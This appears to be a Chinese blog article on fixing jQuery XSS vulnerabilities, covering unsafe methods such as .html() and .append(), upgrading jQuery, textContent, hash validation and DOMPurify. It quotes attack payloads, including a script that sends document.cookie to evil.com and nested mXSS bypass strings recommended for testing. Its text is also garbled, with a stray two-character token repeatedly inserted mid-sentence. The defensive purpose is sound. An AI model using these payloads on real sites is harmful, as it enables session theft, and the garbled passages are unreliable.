jquery xss漏洞修复

 人参与 | 时间:2026-10-17 06:54:31

jQuery的洞修XSS漏洞,说白了就是洞修开发者把用户输入直接塞进了DOM里,而jQuery的洞修一些方法默认信任了这些输入。最典型的洞修几个坑:$()、.append()、洞修.html(),洞修还有老掉牙的洞修.attr()。你传个字符串进去,洞修它可能就把字符串当HTML解析了。洞修攻击者只要在输入框里塞一段<img src=x onerror=alert(1)>,洞修你的洞修页面就沦陷了。

前阵子我审计一个后台管理系统,洞修发现搜索框的洞修关键词直接拼进了$("#result").append(data)里。数据是洞修从接口拿的,但接口没做转义。洞修我试着在搜索框输入<script>fetch('//evil.com?c='+document.cookie)</script>,结果cookie真被打出去了。这问题不是jQuery本身的锅,是调用方式太粗暴。

修复思路分两层。第一层,升级jQuery到3.5.0以上版本。这个版本开始,.html()默认不再执行HTML字符串里的script标签,.attr()也做了属性白名单校验。但别指望升级就万事大吉——老代码里如果用了.append()、.prepend()、.after()这些方法,它们依然会把字符串当HTML处理。升级只能堵住一部分洞,真正的关键在第二层:改代码习惯。

第二层,所有动态插入的内容,要么用.text()替代.html(),要么先转义再插入。手动转义不复杂,写个小函数把<、>、&、"、'替换成实体字符就行。但更省心的做法是,直接用document.createElement创建节点,然后用textContent赋值。比如你要插入用户评论,写成var p = document.createElement('p'); p.textContent = userInput; container.appendChild(p);,这样浏览器永远把内容当纯文本,再狠的payload也执行不了。

还有个容易忽略的角落——$(location.hash)这种用法。老代码里有人喜欢用$("#" + hash)做页面内跳转,如果hash被攻击者控制成<img src=x onerror=alert(1)>,jQuery会尝试把它解析成HTML标签。修复方法很简单:先用decodeURIComponent解码,再用正则校验是不是纯id格式,例如/^[A-Za-z0-9_-]+$/,不匹配就直接return。

说个实际案例。我同事维护的一个老项目,所有弹窗都用$("#modal").html(data)渲染,data是后端返回的富文本。后端明明做了HTML标签过滤,但漏了onerror事件属性。攻击者发一篇带图片的文章,图片URL改成不存在的地址,onerror就触发了。后来我们改了渲染方式,富文本先经过DOMPurify清洗,再插进去。DOMPurify是个专门干这个的库,白名单机制比手写正则靠谱得多。

最后提醒一句,别只盯着前端。如果后端接口返回的数据本身就没转义,前端再怎么防也白搭。正确姿势是后端输出HTML时做一层编码,前端再用textContent或转义函数接住。两边都堵上,才算真修复。测试时也别光用alert(1)这种无害的,试试<svg/onload=alert(document.domain)>或者<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>这种嵌套绕过,才能确认防护没漏。

顶: 9293踩: 6833